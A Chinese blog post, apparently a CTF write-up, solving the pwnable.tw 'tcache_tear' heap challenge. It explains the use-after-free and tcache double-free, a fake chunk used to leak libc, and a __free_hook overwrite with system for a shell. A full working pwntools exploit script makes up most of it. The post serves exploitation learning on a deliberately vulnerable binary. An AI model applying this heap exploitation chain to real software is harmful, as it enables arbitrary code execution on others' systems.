先看一下题目大体过程:

pwnable.tw tcache_tear 随笔 第1张

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

首先可以输入Name保存在0x602060位置处,然后是一个堆操作目录:

pwnable.tw tcache_tear 随笔 第2张

1是malloc一个小于0xff的chunk,把ptr指针指向chunk,并可以写数据,2是free ptr指针指向的chunk,3是打印0x602060的数据,4退出

题目没有开aslr,free那里存在uaf漏洞,有tcache,思路是:

1.让堆分配到0x602060去并修改0x602060的size(大于fastbin)

2.在后面伪造堆(需要伪造下一个堆的size和下下个堆的size(pre_inuse=1))

3.申请到0x602060去释放,就会把0x602060的位置改成main_arena+96

4.info泄露出libc

5.继续利用double free将堆分配到free_hook-0x8上修改为/bin/sh\x00和system即可getshell。

 注意:这里发现只要fd有值,malloc就会分配同时tcache对应标志位-1,如果tcache标志位为0但是fd仍有值,下一个malloc后,tcache标志位会变为ff,那么你去free一个对应大小的堆的时候,会认为tcache中已经满了而正常释放到unsortedbin里。

pwnable.tw tcache_tear 随笔 第3张

这是double free同一个堆然后申请了两次的tcache情况,

pwnable.tw tcache_tear 随笔 第4张

这是再malloc一个堆后tcache的情况。

exp:

from pwn import *
p = process('./tcache_tear')
#p = remote('chall.pwnable.tw',10207)
#gdb.attach(p)
p.recvuntil("Name:")
p.sendline('loeklvlh')
libc = ELF('./tcache_tear.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def alloc(size,data):
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Data:')
    p.sendline(data)
    p.recvuntil('choice :')
def delete():
    p.sendline('2')
    p.recvuntil('choice :')
def info():
    p.sendline('3')
    p.recvuntil('Name :')
p.recvuntil('choice :')
alloc(0x8f,'hacked by loeklvlh')
delete()
delete()
alloc(0x8f,p64(0x602050))
alloc(0x8f,'hacked by loeklvlh')
alloc(0x8f,p64(0x6020a0)+p64(0x91)+p64(0)*8+p64(0x6020e0))#0x602050
alloc(0x7f,'loeklvlh')
delete()
delete()
alloc(0x7f,p64(0x602050))
alloc(0x7f,'loeklvlh')
alloc(0x7f,'loeklvlh'+p64(0x91)) #0x602050
alloc(0x7f,'a'*0x40+p64(0x602060)+p64(0x21)) #0x6020a0
alloc(0x7f,p64(0)+p64(0x21)+p64(0)*3+p64(0x91))#0x6020e0
alloc(0x7f,'loeklvlh')#0x602060
delete()
info()
libc.address = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.symbols['__malloc_hook']
print "libc address:",hex(libc.address)
malloc_hook = libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
one_gadget = libc.address+0x4f2c5
system = libc.symbols['system']
bin_sh_addr = libc.search('/bin/sh\x00').next()
alloc(0x4f,'loeklvlh')
delete()
delete()
alloc(0x4f,p64(free_hook-0x8))
alloc(0x4f,'loeklvlh')
alloc(0x4f,'/bin/sh\x00'+p64(system))
p.sendline('2')
p.interactive()

 这里改malloc_hook为one_gadget都不能用,而且试了用double free触发libc_message来调用malloc_hook也失败了这里没搞懂,所以还是改了free_hook。

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄